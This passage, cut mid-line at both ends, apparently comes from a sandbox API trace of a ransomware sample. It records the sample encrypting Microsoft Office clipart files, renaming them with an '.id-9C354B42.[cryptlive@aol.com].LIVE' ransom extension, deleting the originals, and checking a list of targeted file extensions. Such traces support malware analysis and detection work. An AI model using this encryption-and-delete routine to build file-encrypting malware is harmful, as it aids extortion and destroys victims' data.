nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.415] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.415] SetEndOfFile (hFile=0x3b4) returned 1 [0150.415] CloseHandle (hObject=0x3b4) returned 1 [0150.415] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.415] SetEndOfFile (hFile=0x1fc) returned 1 [0150.417] CloseHandle (hObject=0x1fc) returned 1 [0150.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0150.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.434] lstrlenW (lpString=".doc") returned 4 [0150.434] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.434] lstrlenW (lpString=".docx") returned 5 [0150.434] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0150.435] lstrlenW (lpString=".pdf") returned 4 [0150.435] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".xls") returned 4 [0150.435] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".xlsx") returned 5 [0150.435] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0150.435] lstrlenW (lpString=".ppt") returned 4 [0150.435] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString=".zip") returned 4 [0150.435] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".rar") returned 4 [0150.435] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".bz2") returned 4 [0150.435] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".7z") returned 3 [0150.435] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString=".dbf") returned 4 [0150.435] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString=".1cd") returned 4 [0150.435] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString=".jpg") returned 4 [0150.435] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.435] lstrlenW (lpString=".doc") returned 4 [0150.435] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".docx") returned 5 [0150.435] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0150.435] lstrlenW (lpString=".pdf") returned 4 [0150.435] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.435] lstrlenW (lpString=".xls") returned 4 [0150.435] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString=".xlsx") returned 5 [0150.436] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0150.436] lstrlenW (lpString=".ppt") returned 4 [0150.436] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.436] lstrlenW (lpString=".zip") returned 4 [0150.436] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString=".rar") returned 4 [0150.436] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString=".bz2") returned 4 [0150.436] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString=".7z") returned 3 [0150.436] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.436] lstrlenW (lpString=".dbf") returned 4 [0150.436] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.436] lstrlenW (lpString=".1cd") returned 4 [0150.436] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0150.436] lstrlenW (lpString=".jpg") returned 4 [0150.436] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.436] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.436] lstrlenW (lpString="J0101866.BMP") returned 12 [0150.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0150.437] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=32184) returned 1 [0150.437] CloseHandle (hObject=0x2f8) returned 1 [0150.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0150.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0150.438] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.438] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0150.438] GetLastError () returned 0x0 [0150.438] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.455] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.456] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.456] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.456] SetEndOfFile (hFile=0x314) returned 1 [0150.456] CloseHandle (hObject=0x314) returned 1 [0150.456] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.456] SetEndOfFile (hFile=0x2f8) returned 1 [0150.459] CloseHandle (hObject=0x2f8) returned 1 [0150.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0150.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.479] lstrlenW (lpString=".doc") returned 4 [0150.479] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.479] lstrlenW (lpString=".docx") returned 5 [0150.479] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0150.479] lstrlenW (lpString=".pdf") returned 4 [0150.479] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.479] lstrlenW (lpString=".xls") returned 4 [0150.479] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".xlsx") returned 5 [0150.480] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0150.480] lstrlenW (lpString=".ppt") returned 4 [0150.480] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString=".zip") returned 4 [0150.480] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".rar") returned 4 [0150.480] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".bz2") returned 4 [0150.480] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".7z") returned 3 [0150.480] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString=".dbf") returned 4 [0150.480] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString=".1cd") returned 4 [0150.480] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString=".jpg") returned 4 [0150.480] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.480] lstrlenW (lpString=".doc") returned 4 [0150.480] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".docx") returned 5 [0150.480] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0150.480] lstrlenW (lpString=".pdf") returned 4 [0150.480] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".xls") returned 4 [0150.480] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.480] lstrlenW (lpString=".xlsx") returned 5 [0150.480] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0150.480] lstrlenW (lpString=".ppt") returned 4 [0150.481] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.481] lstrlenW (lpString=".zip") returned 4 [0150.481] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.481] lstrlenW (lpString=".rar") returned 4 [0150.481] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.481] lstrlenW (lpString=".bz2") returned 4 [0150.481] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.481] lstrlenW (lpString=".7z") returned 3 [0150.481] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.481] lstrlenW (lpString=".dbf") returned 4 [0150.481] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.481] lstrlenW (lpString=".1cd") returned 4 [0150.481] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0150.481] lstrlenW (lpString=".jpg") returned 4 [0150.481] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.481] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0150.481] lstrlenW (lpString="J0102002.WMF") returned 12 [0150.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.656] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15988) returned 1 [0150.656] CloseHandle (hObject=0x350) returned 1 [0150.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0150.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.657] GetLastError () returned 0x0 [0150.657] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3e74, lpOverlapped=0x0) returned 1 [0150.679] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3e80, lpOverlapped=0x0) returned 1 [0150.680] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.680] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.680] SetEndOfFile (hFile=0x36c) returned 1 [0151.163] CloseHandle (hObject=0x36c) returned 1 [0151.163] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.163] SetEndOfFile (hFile=0x350) returned 1 [0151.459] CloseHandle (hObject=0x350) returned 1 [0151.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0151.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.486] lstrlenW (lpString=".doc") returned 4 [0151.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.486] lstrlenW (lpString=".docx") returned 5 [0151.486] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.486] lstrlenW (lpString=".pdf") returned 4 [0151.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.486] lstrlenW (lpString=".xls") returned 4 [0151.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.486] lstrlenW (lpString=".xlsx") returned 5 [0151.486] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.486] lstrlenW (lpString=".ppt") returned 4 [0151.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.486] lstrlenW (lpString=".zip") returned 4 [0151.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.487] lstrlenW (lpString=".rar") returned 4 [0151.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString=".bz2") returned 4 [0151.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString=".7z") returned 3 [0151.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString=".dbf") returned 4 [0151.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString=".1cd") returned 4 [0151.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString=".jpg") returned 4 [0151.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString=".doc") returned 4 [0151.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString=".docx") returned 5 [0151.487] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.487] lstrlenW (lpString=".pdf") returned 4 [0151.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString=".xls") returned 4 [0151.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.487] lstrlenW (lpString=".xlsx") returned 5 [0151.487] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.487] lstrlenW (lpString=".ppt") returned 4 [0151.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.487] lstrlenW (lpString=".zip") returned 4 [0151.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.487] lstrlenW (lpString=".rar") returned 4 [0151.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.487] lstrlenW (lpString=".bz2") returned 4 [0151.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.488] lstrlenW (lpString=".7z") returned 3 [0151.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.488] lstrlenW (lpString=".dbf") returned 4 [0151.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.488] lstrlenW (lpString=".1cd") returned 4 [0151.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0151.488] lstrlenW (lpString=".jpg") returned 4 [0151.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.488] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.488] lstrlenW (lpString="J0103058.WMF") returned 12 [0151.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.489] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=17344) returned 1 [0151.489] CloseHandle (hObject=0x1f8) returned 1 [0151.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0151.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0151.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0151.490] GetLastError () returned 0x0 [0151.490] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x43c0, lpOverlapped=0x0) returned 1 [0151.512] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x43d0, lpOverlapped=0x0) returned 1 [0151.513] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.513] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.513] SetEndOfFile (hFile=0x314) returned 1 [0151.513] CloseHandle (hObject=0x314) returned 1 [0151.513] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.513] SetEndOfFile 